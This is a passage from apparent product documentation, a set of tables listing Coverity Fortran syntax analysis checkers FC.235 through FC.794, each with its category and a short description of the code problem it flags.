| FC.235 | Syntax error | equivalence of variable to itself |
| FC.236 | Syntax error | storage allocation conflict due to multiple equivalences |
| FC.237 | Portability | equivalence of arrays with possibly different type lengths |
| FC.238 | Syntax error | invalid storage association of object with a pointer component |
| FC.239 | Syntax error | invalid extension of COMMON through EQUIVALENCE |
| FC.240 | Code improvement | extension of COMMON through EQUIVALENCE |
| FC.241 | Code improvement | nonstandard mixing of types in EQUIVALENCE |
| FC.242 | Syntax error | more constants than variables |
| FC.243 | Syntax error | more variables than constants |
| FC.244 | Syntax error | more than once initialized in DATA or type statement |
| FC.245 | Syntax error | no expression allowed |
| FC.247 | Code improvement | assumed-length character functions are obsolescent |
| FC.248 | Code improvement | object already used, change statement sequence |
| FC.249 | Code improvement | list of objects in blank COMMON inconsistent with first declaration |
| FC.250 | Code improvement | when referencing modules implicit typing is potentially risky |
| FC.251 | Syntax error | SAVE has already been specified for each entity in this scoping unit |
| FC.252 | Syntax error | a private object must not be placed in a public namelist group |
| FC.253 | Portability | common-block data not retained: specify in root or save it |
| FC.254 | Portability | public module data not retained: specify in root or save it |
| FC.255 | Undeclared entity | derived type or structure undefined |
| FC.256 | Syntax error | statement invalid within derived type or structure definition |
| FC.257 | Syntax error | derived type or structure name missing |
| FC.258 | Syntax error | invalid structure nesting |
| FC.259 | Syntax error | missing END TYPE or END STRUCTURE |
| FC.260 | Syntax error | missing END UNION |
| FC.261 | Syntax error | missing END MAP |
| FC.262 | Syntax error | invalid usage of record or aggregate field name |
| FC.263 | Syntax error | component or field name missing |
| FC.264 | Undeclared entity | unknown component, field name, or type parameter |
| FC.265 | Syntax error | derived type must be of sequence type |
| FC.266 | Syntax error | derived type or components must be PRIVATE |
| FC.267 | Syntax error | no fields specified in structure definition |
| FC.268 | Syntax error | incorrect number of component specs in structure-constructor |
| FC.269 | Syntax error | malformed structure component |
| FC.270 | Syntax error | derived-type component(s) or binding(s) inaccessible |
| FC.271 | Syntax error | derived-type is inaccessible |
| FC.272 | Syntax error | an object of a PRIVATE type cannot be PUBLIC |
| FC.273 | Syntax error | invalid usage of structure-component or type-parameter |
| FC.274 | Syntax error | initialization of component or field not allowed |
| FC.275 | Syntax error | derived-type of object must be sequence or have the BIND attribute |
| FC.276 | Code improvement | derived type or structure inconsistently included from include file |
| FC.277 | Syntax error | component must be allocatable |
| FC.279 | Syntax error | invalid usage of derived-type name |
| FC.280 | Syntax error | no type parameter, or inaccessible component |
| FC.281 | Undeclared entity | unknown type-bound procedure |
| FC.282 | Syntax error | the parent type must be extensible |
| FC.283 | Syntax error | invalid sequence of operators |
| FC.284 | Incorrect usage of entity | not allocated |
| FC.285 | Incorrect expression | scalar integer constant expression expected |
| FC.286 | Undefined entity | undefined when entered through ENTRY, specify SAVE to retain data |
| FC.287 | Syntax error | scalar integer constant name expected |
| FC.288 | Syntax error | scalar integer variable name expected |
| FC.289 | Syntax error | scalar integer variable expected |
| FC.290 | Syntax error | constant or scalar integer variable expected |
| FC.291 | Syntax error | unsigned nonzero integer expected |
| FC.292 | Incorrect expression | expression expected |
| FC.293 | Incorrect expression | constant expression expected |
| FC.294 | Incorrect expression | integer expression expected |
| FC.295 | Syntax error | scalar integer or real variable expected |
| FC.296 | Incorrect expression | NULL() or target expected |
| FC.297 | Incorrect expression | integer, logical, or character expression expected |
| FC.298 | Incorrect expression | integer or character expression expected |
| FC.299 | Incorrect expression | logical expression expected |
| FC.300 | Incorrect expression | character constant or unsigned integer constant expected |
| FC.301 | Incorrect expression | character expression expected |
| FC.302 | Incorrect expression | character substring must not be zero sized in this context |
| FC.303 | Incorrect expression | scalar logical expression expected |
| FC.304 | Incorrect expression | scalar integer expression expected |
| FC.305 | Incorrect expression | scalar integer or real expression expected |
| FC.306 | Incorrect expression | array expected |
| FC.307 | Undefined entity | variable not defined |
| FC.308 | Undefined entity | no statement label assigned to this variable |
| FC.309 | Undefined entity | possibly no statement label assigned to this variable |
| FC.310 | Code improvement | label assigned to dummy argument or variable in COMMON |
| FC.311 | Code improvement | both a numeric value and label assigned to this variable |
| FC.312 | Undefined entity | no value assigned to this variable |
| FC.313 | Undefined entity | possibly no value assigned to this variable |
| FC.314 | Information | possible change of initial value |
| FC.315 | Information | redefined before referenced |
| FC.316 | Code improvement | not locally defined, specify SAVE in the module to retain data |
| FC.317 | Incorrect usage of entity | entity imported from more than one module: do not use |
| FC.318 | Incorrect usage of entity | not allocated |
| FC.319 | Code improvement | not locally allocated, specify SAVE in the module to retain data |
| FC.320 | Undefined entity | pointer not associated |
| FC.321 | Undefined entity | pointer not associated |
| FC.322 | Undefined entity | target not associated with a pointer |
| FC.323 | Unused entity | variable unreferenced |
| FC.324 | Unused entity | variable unreferenced as statement label |
| FC.325 | Unused entity | input variable unreferenced |
| FC.326 | Unused entity | entity, declared in include file, not used |
| FC.327 | Syntax error | subscript out of range |
| FC.328 | Information | array, array extent, or character variable is zero sized |
| FC.329 | Syntax error | substring expression out of range |
| FC.330 | Syntax error | invalid substring |
| FC.331 | Syntax error | invalid usage of substring |
| FC.332 | Syntax error | referenced character elements defined |
| FC.333 | Incorrect expression | division by zero |
| FC.334 | Incorrect expression | invalid power execution |
| FC.335 | Incorrect expression | types do not conform |
| FC.336 | Incorrect expression | typeless data used in invalid context |
| FC.337 | Non-optimal type conversion | implicit conversion to shorter type |
| FC.338 | Information | character variable padded with blanks |
| FC.339 | Incorrect expression | integer overflow in expression |
| FC.340 | Code improvement | equality or inequality comparison of floating point data |
| FC.341 | Code improvement | eq. or ineq. comparison of floating point data with integer |
| FC.342 | Code improvement | eq.or ineq. comparison of floating point data with zero constant |
| FC.343 | Implicit type conversion | implicit conversion of complex to scalar |
| FC.344 | Implicit type conversion | implicit conversion of constant (expression) to higher accuracy |
| FC.345 | Non-optimal type conversion | implicit conversion to less accurate type |
| FC.346 | Implicit type conversion | implicit conversion of integer to real |
| FC.347 | Non-optimal type conversion | non-optimal explicit type conversion |
| FC.348 | Incorrect expression | invalid usage of logical operator |
| FC.349 | Incorrect expression | invalid usage of relational operator |
| FC.350 | Incorrect expression | invalid mixed mode expression |
| FC.351 | Incorrect expression | invalid usage of operator |
| FC.352 | Nonstandard syntax | nonstandard operator |
| FC.353 | Incorrect expression | undefined operator |
| FC.354 | Incorrect expression | invalid concatenation with character variable of assumed length |
| FC.355 | Incorrect expression | array-section specification invalid for assumed-shape array |
| FC.356 | Incorrect expression | array section specified incorrectly |
| FC.357 | Incorrect expression | no array section allowed in this context |
| FC.358 | Incorrect expression | invalid stride |
| FC.359 | Incorrect expression | array has invalid rank |
| FC.360 | Incorrect expression | each element in an array constructor must be of the same decl. type |
| FC.361 | Incorrect expression | each element in an array constructor must have the same type length |
| FC.362 | Incorrect expression | vector-valued subscript not allowed in this context |
| FC.363 | Incorrect expression | array does not conform to expression, other arguments or target |
| FC.364 | Incorrect expression | arrays do not conform |
| FC.365 | Incorrect usage of entity | only nonproc.pointers and allocatable variables can be (de)allocated |
| FC.366 | Syntax error | defined assignment not allowed in this context |
| FC.367 | Syntax error | pointer assignment expected |
| FC.368 | Syntax error | invalid usage of pointer assignment |
| FC.369 | Syntax error | invalid assignment to pointer |
| FC.370 | Syntax error | invalid target for a data pointer |
| FC.371 | Syntax error | only pointers can be nullified |
| FC.372 | Syntax error | target must have the same rank as the pointer |
| FC.373 | Syntax error | shape of variable differs from the shape of the mask expression |
| FC.374 | Syntax error | assignment of array expression to scalar |
| FC.375 | Incorrect expression | integer overflow in assignment |
| FC.376 | Incorrect expression | scalar integer variable name expected |
| FC.377 | Incorrect expression | scalar integer expression expected |
| FC.378 | Code improvement | pointer not locally associated, specify SAVE in the module |
| FC.379 | Incorrect usage of entity | invalid operation on a non-local variable in a pure procedure |
| FC.380 | Incorrect expression | shape of mask expression differs from shape of outer WHERE construct |
| FC.381 | Undefined entity | none of the equivalenced variables of the same type is defined |
| FC.382 | Unused entity | none of the equivalenced variables of the same type referenced |
| FC.383 | Non-optimal type conversion | truncation of character constant (expression) |
| FC.384 | Non-optimal type conversion | truncation of character variable (expression) |
| FC.385 | Syntax error | invalid usage of construct name |
| FC.386 | Syntax error | construct name expected |
| FC.387 | Syntax error | non-matching construct name |
| FC.388 | Syntax error | invalid construct nesting |
| FC.389 | Syntax error | invalid statement in logical IF |
| FC.390 | Syntax error | statement not allowed within a construct |
| FC.391 | Syntax error | too many ENDIF's |
| FC.392 | Syntax error | ELSE must be between IF and ENDIF |
| FC.393 | Syntax error | missing ENDIF('s) |
| FC.394 | Syntax error | THEN missing |
| FC.395 | Syntax error | invalid sequence of ELSEIF and ELSE |
| FC.397 | Syntax error | more than one ELSE at this IF level |
| FC.398 | Syntax error | invalid DO loop incrementation parameter |
| FC.399 | Syntax error | invalid implied-DO specification |
Table 8.3. Coverity Fortran Syntax Analysis Checkers (400-599)
| Name | Category | Description |
|---|---|---|
| FC.400 | Syntax error | invalid DO-loop specification |
| FC.401 | Syntax error | terminal statement of loop at invalid IF level |
| FC.402 | Syntax error | invalid terminal statement of DO construct |
| FC.403 | Syntax error | invalid transfer of control into construct |
| FC.404 | Syntax error | referenced from outside construct |
| FC.405 | Syntax error | redefinition of DO variable or FORALL index within construct |
| FC.406 | Information | no action statements in previous construct or construct block |
| FC.407 | Syntax error | terminal statement of DO construct out of order |
| FC.408 | Syntax error | missing terminal statement of DO construct |
| FC.409 | Syntax error | missing END LOOP or UNTIL |
| FC.410 | Syntax error | missing END WHILE or UNTIL |
| FC.411 | Syntax error | too many END DO's, END LOOP's, or END WHILE's |
| FC.412 | Syntax error | terminal statement of DO construct at invalid CASE level |
| FC.413 | Code improvement | shared DO termination |
| FC.414 | Syntax error | Incorrect usage of RANK(*) in SELECT RANK construct |
| FC.415 | Syntax error | too many END BLOCKS |
| FC.416 | Syntax error | missing END BLOCK ('s) |
| FC.418 | Syntax error | type inconsistent with SELECT CASE expression type |
| FC.419 | Syntax error | kind inconsistent with SELECT CASE expression kind |
| FC.420 | Syntax error | invalid range of values specified |
| FC.421 | Syntax error | overlapping CASE range |
| FC.422 | Syntax error | CASE statement expected after a SELECT CASE statement |
| FC.423 | Syntax error | a CASE statement must be within a CASE construct |
| FC.424 | Syntax error | too many END SELECT's |
| FC.425 | Syntax error | missing END SELECT ('s) |
| FC.426 | Syntax error | only one CASE DEFAULT statement allowed in a CASE construct |
| FC.427 | Syntax error | statement at invalid DO level |
| FC.428 | Syntax error | statement at invalid IF level |
| FC.429 | Syntax error | statement at invalid CASE level |
| FC.430 | Syntax error | invalid statement after WHERE |
| FC.431 | Syntax error | Rank outside range |
| FC.432 | Syntax error | too many END WHERE's |
| FC.433 | Syntax error | an ELSEWHERE must be within a WHERE construct |
| FC.434 | Syntax error | missing END WHERE('s) |
| FC.435 | Syntax error | too many END FORALL's |
| FC.436 | Syntax error | missing END FORALL('s) |
| FC.437 | Syntax error | reference of FORALL index in a forall triplet specification list |
| FC.438 | Code improvement | obsolescent terminal statement of DO loop |
| FC.439 | Syntax error | Type already selected in this SELECT TYPE construct |
| FC.440 | Syntax error | too many END ASSOCIATES's |
| FC.441 | Syntax error | statement not allowed within SELECT TYPE construct |
| FC.442 | Syntax error | rank already selected in this SELECT RANK construct |
| FC.443 | Syntax error | RANK, or RANK DEFAULT at invalid SELECT RANK level |
| FC.444 | Syntax error | only one RANK DEFAULT statement allowed in a SELECT RANK construct |
| FC.445 | Syntax error | only one CLASS DEFAULT statement allowed in a SELECT TYPE construct |
| FC.446 | Syntax error | missing output item list |
| FC.447 | Syntax error | invalid input/output list |
| FC.448 | Code improvement | ',' not allowed |
| FC.449 | Syntax error | invalid usage of parentheses |
| FC.450 | Syntax error | invalid reference of standard unit |
| FC.451 | Syntax error | list directed I/O not allowed |
| FC.452 | Syntax error | sequential formatted access expected |
| FC.453 | Syntax error | invalid reference of internal file |
| FC.454 | Syntax error | possible recursive I/O attempt |
| FC.455 | Unsupported | unrecognized or unsupported specifier |
| FC.456 | Unsupported | nonstandard Fortran specifier |
| FC.457 | Syntax error | more than once specified |
| FC.458 | Syntax error | invalid usage of specifier |
| FC.459 | Syntax error | no unit specified |
| FC.460 | Syntax error | no unit or filename specified |
| FC.461 | Syntax error | unit and filename specified |
| FC.462 | Syntax error | invalid or missing io-unit identifier |
| FC.463 | Syntax error | missing or invalid format specifier |
| FC.464 | Code improvement | missing delimiter in format specification |
| FC.465 | Syntax error | statement label expected |
| FC.466 | Syntax error | more than once in OPEN, CLOSE, or INQUIRE list |
| FC.467 | Syntax error | 'FMT=' or 'NML=' expected |
| FC.468 | Syntax error | 'END=' only allowed in a sequential READ or WAIT statement |
| FC.469 | Syntax error | 'FILE=' not allowed for a scratch file |
| FC.470 | Syntax error | 'RECL=' only allowed for a direct access file |
| FC.471 | Syntax error | 'BLANK=' only allowed for a formatted file |
| FC.472 | Syntax error | 'ADVANCE=' only allowed for external formatted sequential i/o |
| FC.473 | Syntax error | 'EOR=' only allowed in READ with 'ADVANCE=NO' or WAIT |
| FC.474 | Syntax error | no recordsize specified |
| FC.475 | Syntax error | 'SIZE=' only allowed in READ with 'ADVANCE=NO' |
| FC.476 | Syntax error | must be declared EXTERNAL |
| FC.477 | Syntax error | invalid combination of specifiers |
| FC.478 | Syntax error | invalid usage of namelist name |
| FC.479 | Syntax error | namelist name expected |
| FC.480 | Syntax error | namelist i/o only allowed on an external file |
| FC.481 | Information | extension of previously defined namelist |
| FC.482 | Syntax error | invalid type |
| FC.483 | Unsupported | unrecognized value |
| FC.484 | Syntax error | invalid usage of value |
| FC.485 | Information | nonstandard Fortran value |
| FC.486 | Syntax error | invalid repeat |
| FC.487 | Syntax error | missing repeat |
| FC.488 | Syntax error | invalid usage of repeat |
| FC.489 | Syntax error | invalid usage of scale factor |
| FC.490 | Information | nonstandard edit descriptor |
| FC.491 | Syntax error | missing or invalid width |
| FC.492 | Syntax error | invalid edit descriptor |
| FC.493 | Syntax error | external i/o not allowed in a pure procedure |
| FC.494 | Unused entity | namelist unreferenced |
| FC.495 | Information | more than once in namelist group |
| FC.496 | Undefined entity | namelist group undefined |
| FC.497 | Syntax error | stream and async i/o only allowed on ext. files and not on * units |
| FC.498 | Syntax error | namelist i/o only allowed for sequential i/o |
| FC.499 | Syntax error | accompanying subprogram statement missing or incorrect |
| FC.500 | Undefined entity | no main program unit |
| FC.501 | Information | recursive reference |
| FC.502 | Information | possible recursive reference |
| FC.503 | Multiple declaration of entity | more than one main program unit |
| FC.504 | Multiple declaration of entity | more than one unnamed BLOCKDATA |
| FC.505 | Multiple declaration of entity | multiple declaration of BLOCKDATA |
| FC.506 | Multiple declaration of entity | multiple declaration of program unit or entry |
| FC.507 | Multiple declaration of entity | multiple declaration of statement function |
| FC.508 | Code improvement | entries are not disjoint |
| FC.509 | Syntax error | no name specified |
| FC.510 | Multiple declaration of entity | multiple declaration of interface, this one ignored |
| FC.511 | Syntax error | explicit interface required |
| FC.512 | Syntax error | invalid subroutine or function reference |
| FC.513 | Incorrect usage of entity | invalid usage of procedure name |
| FC.514 | Syntax error | subroutine/function conflict |
| FC.515 | Syntax error | invalid subprogram type |
| FC.516 | Syntax error | invalid usage of EXTERNAL |
| FC.517 | Syntax error | procedure actual argument must be declared EXTERNAL or INTRINSIC |
| FC.518 | Code improvement | referenced procedure not declared EXTERNAL |
| FC.519 | Information | name of external procedure is same as module procedure name |
| FC.520 | Syntax error | referenced procedure not declared EXTERNAL |
| FC.521 | Syntax error | invalid usage of generic name |
| FC.522 | Syntax error | an interface with (module) procedure statements must be generic |
| FC.523 | Syntax error | procedure already in list of specific procedures of this interface |
| FC.524 | Portability | mixing of subroutines and functions in generic interface not allowed |
| FC.525 | Syntax error | defined operator procedure must be a function |
| FC.526 | Syntax error | defined assignment procedure must be a subroutine |
| FC.527 | Syntax error | no matching intrinsic or specific procedure found |
| FC.528 | Information | no procedure interfaces specified in interface block |
| FC.529 | Syntax error | recursive reference |
| FC.530 | Syntax error | possible recursive reference |
| FC.531 | Information | function is impure |
| FC.532 | Syntax error | type conflict with type of function |
| FC.533 | Syntax error | type length conflict with type length of function |
| FC.534 | Syntax error | type of function inconsistent with first occurrence |
| FC.535 | Syntax error | function type length inconsistent with first occurrence |
| FC.536 | Information | function type length inconsistent with first occurrence |
| FC.537 | Syntax error | shape of function reference differs from shape at first reference |
| FC.538 | Syntax error | shape of function reference differs from shape of function result |
| FC.539 | Syntax error | procedure must have private accessibility |
| FC.540 | Syntax error | multiple specification of prefix attribute |
| FC.541 | Syntax error | invalid combination of prefix attributes |
| FC.542 | Syntax error | procedure must be pure |
| FC.543 | Syntax error | invalid usage of prefix specification |
| FC.544 | Syntax error | dummy argument of elemental procedure must be scalar |
| FC.545 | Syntax error | dummy arg. of elemental proc. must not be a pointer or allocatable |
| FC.546 | Syntax error | elemental procedure must be scalar |
| FC.547 | Syntax error | elemental procedure must not be a pointer or allocatable |
| FC.548 | Syntax error | dummy procedure argument not allowed in elemental procedure |
| FC.549 | Code improvement | referenced intrinsic procedure not declared INTRINSIC |
| FC.550 | Syntax error | invalid usage of alternate return |
| FC.551 | Syntax error | invalid dummy argument list |
| FC.552 | Syntax error | invalid usage of arguments |
| FC.553 | Syntax error | invalid usage of dummy argument |
| FC.554 | Syntax error | invalid dummy argument |
| FC.555 | Syntax error | more than once in argument list |
| FC.556 | Information | argument unreferenced in statement function |
| FC.557 | Information | dummy argument not used |
| FC.558 | Syntax error | missing argument list |
| FC.559 | Syntax error | argument missing, or no corresponding actual argument found |
| FC.560 | Syntax error | incorrect number of arguments |
| FC.561 | Syntax error | incorrect argument type |
| FC.562 | Syntax error | incorrect argument attributes |
| FC.563 | Syntax error | number of arguments inconsistent with first occurrence |
| FC.564 | Information | number of arguments inconsistent with first occurrence |
| FC.565 | Syntax error | number of arguments inconsistent with specification |
| FC.566 | Syntax error | argument keyword missing in actual argument list |
| FC.567 | Syntax error | argument keyword does not match a dummy argument |
| FC.568 | Syntax error | argument class inconsistent with first occurrence |
| FC.569 | Information | type inconsistent with first occurrence |
| FC.570 | Syntax error | argument class inconsistent with specification |
| FC.571 | Syntax error | argument type inconsistent with first occurrence |
| FC.572 | Code improvement | type inconsistent with first occurrence |
| FC.573 | Syntax error | argument type inconsistent with specification |
| FC.574 | Syntax error | argument type inconsistent with first occurrence (int/log) |
| FC.575 | Syntax error | argument type inconsistent with first occurrence (int/log) |
| FC.576 | Syntax error | argument type inconsistent with specification (int/log) |
| FC.577 | Syntax error | argument type inconsistent with first occurrence (int/real) |
| FC.578 | Information | argument type inconsistent with first occurrence (int/real) |
| FC.579 | Syntax error | argument type inconsistent with specification (int/real) |
| FC.580 | Syntax error | argument type length inconsistent with first occurrence |
| FC.581 | Information | type length inconsistent with first occurrence |
| FC.582 | Syntax error | argument type length inconsistent with specification |
| FC.583 | Syntax error | type of function argument inconsistent with first occurrence |
| FC.584 | Information | type of function argument inconsistent with first occurrence |
| FC.585 | Syntax error | argument type kind inconsistent with first occurrence |
| FC.586 | Information | type kind inconsistent with first occurrence |
| FC.587 | Syntax error | type of function argument inconsistent with specification |
| FC.588 | Syntax error | argument type kind inconsistent with specification |
| FC.589 | Syntax error | shape of this argument must be supplied as argument |
| FC.590 | Syntax error | array versus scalar conflict |
| FC.591 | Information | array versus scalar conflict |
| FC.592 | Information | arg. is an array element while it was an array in the previous ref. |
| FC.593 | Information | arg. is an array while it was an array element in the previous ref. |
| FC.594 | Information | the actual argument is an array element while the dummy is an array |
| FC.595 | Information | shape of argument differs from first occurrence |
| FC.596 | Syntax error | shape of argument differs from specification |
| FC.597 | Information | shape of argument differs from specification |
| FC.598 | Syntax error | actual array or character variable shorter than dummy |
| FC.599 | Syntax error | array or character length differs form first occurrence |
Table 8.4. Coverity Fortran Syntax Analysis Checkers (600-799)
| Name | Category | Description |
|---|---|---|
| FC.600 | Syntax error | attributes of argument inconsistent with first occurrence |
| FC.601 | Syntax error | attributes of actual argument inconsistent with specification |
| FC.602 | Syntax error | invalid modification: actual argument is constant or expression |
| FC.604 | Syntax error | invalid modification: the actual argument is an active DO variable |
| FC.605 | Information | possible invalid modification: act.arg. is constant or expression |
| FC.607 | Information | possible invalid modification: actual argument is active DO variable |
| FC.608 | Code improvement | no INTENT specified, specify INTENT(IN) in the referenced subprogram |
| FC.609 | Syntax error | dummy argument must not be OPTIONAL |
| FC.610 | Syntax error | optional dummy argument unconditionally used |
| FC.611 | Syntax error | actual argument is an optional dummy argument,the dummy argument not |
| FC.612 | Syntax error | optional dummy argument expected |
| FC.613 | Syntax error | INTENT not allowed for pointer arguments |
| FC.614 | Syntax error | INTENT(IN) required for this dummy argument |
| FC.615 | Syntax error | INTENT(OUT) or INTENT(INOUT) required for this dummy argument |
| FC.616 | Undefined entity | referenced input or input/output argument is not defined |
| FC.617 | Information | conditionally referenced argument is not defined |
| FC.618 | Information | possibly ref. input or input/output argument is possibly not defined |
| FC.622 | Syntax error | dummy function must be specified as entry argument |
| FC.623 | Code improvement | intrinsic procedure is specific |
| FC.624 | Syntax error | conflict with intrinsic-procedure name |
| FC.625 | Portability | nonstandard Fortran intrinsic procedure |
| FC.626 | Syntax error | no intrinsic procedure |
| FC.627 | Syntax error | this intrinsic function is not allowed as actual argument |
| FC.628 | Syntax error | type conflict with intrinsic function of the same name |
| FC.629 | Syntax error | invalid number of arguments for intrinsic procedure |
| FC.630 | Syntax error | invalid argument type for intrinsic procedure |
| FC.631 | Syntax error | invalid argument type length for intrinsic procedure |
| FC.632 | Information | intrinsic function is explicitly typed |
| FC.633 | Syntax error | invalid usage of built-in function |
| FC.634 | Syntax error | invalid modification, variable more than once in statement |
| FC.635 | Information | possible invalid modification:variable more than once in statement |
| FC.636 | Syntax error | INTENT must be specified for this dummy argument |
| FC.637 | Syntax error | specific procedure has no unique argument list |
| FC.638 | Syntax error | invalid redefinition of intrinsic operation or assignment |
| FC.639 | Information | type is not the type of the generic intrinsic function |
| FC.640 | Syntax error | generic procedure reference could not uniquely be solved |
| FC.641 | Syntax error | argument must be an allocatable variable |
| FC.642 | Syntax error | argument must have the POINTER attribute |
| FC.643 | Syntax error | argument must have the POINTER or TARGET attribute |
| FC.644 | Unused entity | none of the entities, imported from the module, is used |
| FC.645 | Syntax error | module must not reference itself directly or indirectly |
| FC.647 | Multiple declaration of entity | multiple specification of (sub)module |
| FC.648 | Syntax error | conflict between (sub)module and program unit or entry name |
| FC.649 | Code improvement | module already referenced without only or rename list |
| FC.650 | Syntax error | invalid rename clause |
| FC.651 | Information | already imported from host or same module |
| FC.652 | Multiple declaration of entity | entity imported from more than one module: do not reference |
| FC.653 | Syntax error | entity is not a public entity of the imported module |
| FC.654 | Unused entity | (sub)module unused |
| FC.665 | Code improvement | eq. or ineq. comparison of floating point data with constant |
| FC.666 | Syntax error | undefined operation |
| FC.667 | Undefined entity | undefined: dummy argument not in entry argument list |
| FC.668 | Undefined entity | possibly undefined: dummy argument not in entry argument list |
| FC.669 | Code improvement | not locally associated, specify SAVE in the module to retain data |
| FC.670 | Syntax error | actual argument must be a variable |
| FC.671 | Syntax error | variable more than once in actual argument list |
| FC.672 | Syntax error | active DO variable invalid for this actual argument |
| FC.673 | Unused entity | not locally referenced |
| FC.674 | Unused entity | procedure, program unit, or entry not referenced |
| FC.675 | Unused entity | named constant not used |
| FC.676 | Unused entity | none of the objects of the common block is used |
| FC.677 | Unused entity | none of the objects of the common block is referenced |
| FC.678 | Unused entity | None of the entities stored in the library file is used. |
| FC.679 | Unused entity | A common-block object is not used. |
| FC.680 | Unused entity | A common-block object is unreferenced. |
| FC.681 | Unused entity | The named entity is not used. |
| FC.682 | Undefined entity | procedure not defined |
| FC.683 | Undefined entity | common-block object not defined before referenced |
| FC.684 | Undefined entity | common-block object possibly not defined before referenced |
| FC.685 | Unused entity | generic name was not needed to generate a specific procedure |
| FC.686 | Syntax error | conflict with constant name |
| FC.687 | Syntax error | type length must be specified by a constant expression |
| FC.688 | Syntax error | implicit characteristics are inconsistent with those in host context |
| FC.689 | Code improvement | type length inconsistent with type length of function |
| FC.690 | Code improvement | type length inconsistent with type length at first reference |
| FC.691 | Code improvement | type length inconsistent with specification |
| FC.692 | Syntax error | result of procedure must be scalar |
| FC.693 | Syntax error | storage association conflict with object with the TARGET attribute |
| FC.694 | Syntax error | explicitness of dummy proc. argument inconsistent with first occurrence |
| FC.695 | Syntax error | no defined assignment supplied for this type |
| FC.696 | Syntax error | entity is not an accessible entity in the host scoping unit |
| FC.697 | Undeclared entity | name not explicitly typed, implicit type assumed |
| FC.698 | Code improvement | implicit conversion to more accurate type |
| FC.699 | Code improvement | implicit conversion of real or complex to integer |
| FC.700 | Undeclared entity | object undeclared |
| FC.701 | Code improvement | type length of element inconsistent with first element |
| FC.702 | Syntax error | scalar default character expression expected |
| FC.703 | Syntax error | a procedure cannot have the POINTER or TARGET attribute |
| FC.704 | Syntax error | more than once in derived-type parameter list |
| FC.705 | Syntax error | the VALUE attribute can not be specified for this object |
| FC.706 | Incorrect usage of entity | a protected object must not be modified outside its module |
| FC.707 | Code improvement | module procedure not referenced from outside its module |
| FC.708 | Syntax error | END INTERFACE statement missing |
| FC.709 | Syntax error | source expression not allowed for a typed allocation |
| FC.710 | Syntax error | only one source expression allowed in a sourced allocation |
| FC.711 | Code improvement | declared RECURSIVE but not recursively referenced |
| FC.712 | Syntax error | ancestor or parent (sub)module name missing |
| FC.713 | Syntax error | interface name missing |
| FC.714 | Unused entity | abstract interface not referenced |
| FC.715 | Syntax error | type-bound procedures not allowed in sequence or interoperable type |
| FC.716 | Syntax error | a component cannot have the name of a type parameter |
| FC.717 | Undefined entity | derived-type parameter not specified |
| FC.718 | Syntax error | a CLASS component must be allocatable or a pointer |
| FC.719 | Syntax error | a procedure component must be a pointer |
| FC.720 | Syntax error | no components specified in derived-type definition |
| FC.721 | Syntax error | no type-bound procedures specified |
| FC.722 | Syntax error | external or module procedure expected |
| FC.723 | Undefined entity | type-bound procedure undefined |
| FC.724 | Syntax error | DEFERRED attribute required |
| FC.725 | Syntax error | DEFERRED attribute not allowed |
| FC.726 | Syntax error | component keyword missing in structure-constructor |
| FC.727 | Syntax error | keyword missing in type-param-spec-list |
| FC.728 | Syntax error | incorrect, or missing language-binding-spec: BIND(C) expected |
| FC.729 | Syntax error | no enumerators in enumeration |
| FC.730 | Syntax error | END ENUM missing |
| FC.731 | Syntax error | interface name not allowed in this context |
| FC.732 | Syntax error | procedure attributes not allowed in this context |
| FC.733 | Syntax error | delimiter not allowed in this context |
| FC.734 | Syntax error | statement only allowed in a (non separate) interface body |
| FC.735 | Syntax error | explicit or abstract interface required |
| FC.736 | Syntax error | this intrinsic function not allowed as interface name |
| FC.737 | Syntax error | TYPE IS, CLASS IS, or CLASS DEFAULT expected after SELECT TYPE |
| FC.738 | Syntax error | associate name expected |
| FC.739 | Syntax error | association list missing |
| FC.740 | Syntax error | selector missing |
| FC.741 | Syntax error | invalid assignment |
| FC.742 | Syntax error | the selector must be polymorphic |
| FC.743 | Syntax error | passed-object dummy argument not found |
| FC.744 | Syntax error | incorrect number of derived-type parameters |
| FC.745 | Syntax error | invalid argument kind type parameter for intrinsic procedure |
| FC.746 | Code improvement | type kind or length inconsistently specified |
| FC.747 | Syntax error | each element in an array constructor must be of the same kind |
| FC.748 | Code improvement | element kind inconsistent with kind of first element |
| FC.749 | Syntax error | mixing of protected and non-protected objects in equivalence |
| FC.750 | Unsupported | unsupported kind type parameter, default assumed |
| FC.751 | Unsupported | unsupported kind, default assumed |
| FC.752 | Unsupported | unsupported character set, default kind assumed |
| FC.753 | Syntax error | each element must have the same kind type parameters |
| FC.754 | Syntax error | no objects to allocate or to deallocate |
| FC.755 | Syntax error | unrecognized keyword |
| FC.756 | Syntax error | type-spec or source-expression required |
| FC.757 | Unused entity | no entities imported from module |
| FC.758 | Syntax error | invalid target for a procedure pointer |
| FC.759 | Syntax error | procedure already in list of final subroutines of this derived type |
| FC.760 | Syntax error | final procedure has no unique argument list |
| FC.761 | Syntax error | type parameter specified more than once or unknown |
| FC.762 | Syntax error | empty parameter list |
| FC.763 | Syntax error | deferred type parameter not allowed |
| FC.764 | Syntax error | assumed-type parameter not allowed |
| FC.765 | Syntax error | each length type parameter must be assumed |
| FC.766 | Syntax error | SEQUENCE type, or BIND attribute not allowed |
| FC.767 | Syntax error | type must be an extension of the selector |
| FC.768 | Syntax error | NOPASS must be specified |
| FC.769 | Syntax error | passed-object argument required. |
| FC.770 | Syntax error | argument must be a data-object |
| FC.771 | Syntax error | derived type i/o procedure must be a subroutine |
| FC.772 | Syntax error | type must be abstract |
| FC.773 | Syntax error | argument must be scalar |
| FC.774 | Syntax error | argument must be polymorphic |
| FC.775 | Syntax error | argument must not be polymorphic |
| FC.776 | Syntax error | the accessibility of the generic spec must be the same as originally |
| FC.777 | Code improvement | the accessibility is inconsistently specified |
| FC.778 | Syntax error | types are not compatible |
| FC.779 | Syntax error | a CLASS entity must be dummy, allocatable or a pointer |
| FC.780 | Syntax error | entity is not accessible |
| FC.781 | Syntax error | entity must be interoperable |
| FC.782 | Syntax error | type kind conflict with type kind of function |
| FC.783 | Syntax error | function type kind inconsistent with first occurrence |
| FC.784 | Code improvement | type kind inconsistent with type kind of function |
| FC.785 | Code improvement | type kind inconsistent with type kind at first reference |
| FC.786 | Code improvement | type kind inconsistent with specification |
| FC.787 | Syntax error | invalid usage of abstract type |
| FC.788 | Syntax error | invalid overriding of binding |
| FC.789 | Syntax error | component name not unique |
| FC.790 | Syntax error | component not defined |
| FC.791 | Syntax error | the derived type must be extensible |
| FC.792 | Syntax error | entity cannot be an explicit-shape array |
| FC.793 | Syntax error | INTENT not allowed for nonpointer dummy procedure arguments |
| FC.794 | Syntax error | entity cannot have the POINTER attribute |
